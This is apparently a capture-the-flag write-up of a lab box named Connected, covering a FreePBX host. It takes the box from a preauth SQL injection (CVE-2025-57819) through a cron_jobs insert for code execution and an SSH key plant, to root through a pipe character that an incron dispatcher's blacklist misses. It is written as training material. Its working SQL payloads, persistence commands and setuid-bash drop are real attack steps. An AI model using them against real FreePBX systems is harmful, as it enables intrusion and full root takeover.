Connected is an Easy-rated Linux box that front-loads a clean, well-documented foothold — a preauth SQL injection in FreePBX's endpoint module (CVE-2025-57819) — and then hides its real teeth in privilege escalation. The foothold took minutes. Root took discipline: three plausible, almost-working FreePBX privesc paths each failed for a different boring reason, and the one that worked hinged on a single character that a root-owned "sanitizer" forgot to blacklist. This writeup spends most of its length on the privesc, because that's where the box actually lives.
nmap -p- -sC -sV --min-rate 5000 <target>
| Port | Service |
|---|---|
| 22 | OpenSSH 7.4 |
| 80 | Apache 2.4.6 (CentOS) — redirect to connected.htb |
| 443 | Apache + PHP 7.4.16 — TLS cert CN pbxconnect, redirect to /admin |
The anomaly is the path, as always. A CentOS/PHP-7.4 host whose TLS cert
is issued to pbxconnect and whose web root bounces to /admin is
a FreePBX PBX. The admin footer gives the exact version —
FreePBX 16.0.40.7 — which is squarely inside the window for the
2025 unauthenticated endpoint-module SQL injection.
The endpoint module's ajax.php is reachable without
authentication and passes its brand parameter into SQL with no
sanitization. A single quote is all it takes to confirm:
curl -sk "https://<target>/admin/ajax.php?module=FreePBX\modules\endpoint\ajax\ &command=model&template=x&model=model&brand=x'" # ...1064 You have an error in your SQL syntax... near 'x' AND (`key` LIKE 'model%' ...
The brand value actually feeds two different queries with
different column counts, so UNION fights you. Error-based extraction is the
path of least resistance — bearing in mind extractvalue() truncates
output at 32 characters, so long values come out in halves:
…&brand=x' AND extractvalue(1,concat(0x7e,(SELECT group_concat(username,0x3a,password_sha1) FROM ampusers)))-- -
# ~admin:[SHA1 redacted] (and, annoyingly, NOT in rockyou)
USAGE (no
FILE privilege, so no INTO OUTFILE webshell). The intended RCE is
cleaner than either: FreePBX stores its own scheduled tasks in a
cron_jobs table, and its scheduler runs them as the asterisk
user every minute. A stacked injection inserts our own job.
…&brand=x';INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('x','x','<COMMAND>',NULL,'* * * * *',30,1,1)-- -
This is exactly what Metasploit's
exploit/unix/http/freepbx_unauth_sqli_to_rce automates (its success
marker is the odd error "Trying to access array offset on value of type
bool", which means the INSERT landed). Rather than a Meterpreter reverse
shell, the command here just plants an SSH key — because of a local quirk
worth calling out:
ufw with default-deny on inbound. A reverse shell
or Metasploit fetch-stager is a connection back to the attacker — i.e.
inbound to our box — and dies at our own firewall with no root to open the
port. So we flip direction: the cron command drops our public key into
asterisk's authorized_keys, and we connect outbound over SSH.
Outbound to target:22 is never blocked.
# <COMMAND> the cron runs as asterisk:
for h in /home/asterisk /var/lib/asterisk; do mkdir -p $h/.ssh; \
echo '<OUR_PUBKEY>' >> $h/.ssh/authorized_keys; done
# ~60s later:
ssh -i id_con asterisk@<target>
asterisk@connected$ cat /home/asterisk/user.txt
[user flag captured ✅]
/etc/freepbx.conf hands over the app DB credentials
(freepbxuser) for free once you're on the box — useful in a moment.
asterisk owns the entire FreePBX install — /var/www/html,
/var/lib/asterisk/bin/fwconsole, even /etc/freepbx.conf. That
screams "get root to run FreePBX code." Three natural attempts, three
different failures:
fwconsole would load our attacker-owned /etc/freepbx.conf. A
uid-0-gated payload was planted and waited on — but the only root
invocation is freepbx.service at boot (a oneshot), which isn't
triggerable. Dead.sysadmin_update_set_cron, builds root's crontab from DB values we
control — a textbook newline-injection. Except the script
include_once('DB.php') and PEAR's DB package isn't installed, so it
fatals before doing anything. Dead.sysadmin_openvpn runs
route add … gw <vpn_ip> with an unsanitized license field — but it
requires a valid ionCube license that doesn't exist on an offline lab box.
Dead.polkit-0.112-26.el7_9.1 is
the patched build. When enumeration stalls, stop guessing and watch:
a tight ps-spy loop from the foothold catches short-lived root cron /
incron children and localhost daemons.
for i in $(seq 1 100); do ps -eo user,ppid,pid,cmd --no-headers; sleep 0.6; doneThat surfaced
incrond (root) and a root aiohttp service on
127.0.0.1:4000 (aiovega). The latter was a red herring — it's a
proxy to remote Vega hardware with no local subprocess. incrond was the
real path.
FreePBX ships /etc/incron.d/* tables. One watches an
asterisk-writable directory and runs a dispatcher as root on any
file event:
/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#
(Cheap liveness proof: drop a file in that directory and watch root delete
it within seconds.) sysadmin_manager parses the trigger filename as
module.hook.params, GPG-verifies the module's module.sig and the
hook's hash — so we can't forge or modify hooks — and then sanitizes the
params before running them:
// out-of-spec / non-ASCII chars rejected
if (preg_match('/[^\x20-\x7e]/', $params)) exit;
// "extra double sanity check"
if (preg_match('/[`\'"$><&;]/', $params)) exit;
...
system("$hookfile $params"); // ← runs as ROOT
` ' " $ >
< & ; — every classic shell metacharacter except the
pipe. | sails straight through. And since system() runs the
whole string through /bin/sh, a pipe lets us feed a legitimately-signed
hook's output into any command we like, as root.
The lever is the filestore/addpubkey hook — a plaintext, validly-signed
PHP script that simply appends its argument to /root/.ssh/authorized_keys.
We don't even care what it does; we only need it as the left-hand side of a
pipe. The .CONTENTS filename form lets the payload live in the file
body, so the / and | characters never have to appear in the
filename:
# trigger file name: /var/spool/asterisk/incron/filestore.addpubkey.CONTENTS # its contents (= the root-sanitized but pipe-friendly params): x | install -m 4755 /bin/bash /var/tmp/.dcsh
install -m 4755 copies bash and sets the setuid bit in one shot.
/var/tmp lives on the root xfs filesystem (not nosuid, unlike
/tmp and /dev/shm), so the setuid bit sticks:
asterisk@connected$ printf 'x | install -m 4755 /bin/bash /var/tmp/.dcsh' \
> /var/spool/asterisk/incron/filestore.addpubkey.CONTENTS
asterisk@connected$ ls -l /var/tmp/.dcsh
-rwsr-xr-x 1 root root 964536 /var/tmp/.dcsh
asterisk@connected$ /var/tmp/.dcsh -p -c 'id; cat /root/root.txt'
uid=999(asterisk) gid=1000(asterisk) euid=0(root) groups=1000(asterisk)
[root flag captured ✅]
pbxconnect + /admin redirect fingerprints FreePBX 16.0.40.7ajax.php brand parameter (CVE-2025-57819); confirmed and looted error-basedINSERT INTO cron_jobs plants a task the FreePBX scheduler runs as asterisk every minuteasteriskincrond runs sysadmin_manager on events in an asterisk-writable spool directorysysadmin_manager's param blacklist misses |; a signed filestore/addpubkey hook is piped into install -m 4755 to drop a setuid-root bash/var/tmp/.dcsh -p → euid=0 → rootpbxconnect on the cert plus a PHP footer version string is the whole foothold, handed over for free.:22 is almost always permitted.ps loop catches root cron/incron children and localhost daemons that a static look misses — and lets you separate the real trigger from red herrings like a root localhost proxy with no local subprocess.system() string is defeated by a single missed shell-active byte. Here it was |. A signed-hook allowlist is only ever as safe as the least-careful hook it permits.install -m 4755 /bin/bash <dir>/x is a tidy one-shot setuid drop when you have a single arbitrary root command — just avoid nosuid mounts (/tmp, /dev/shm) and land it on the root filesystem.Scarif Operations | th3m4dh4ck3r.com | CPTS prep, Season 11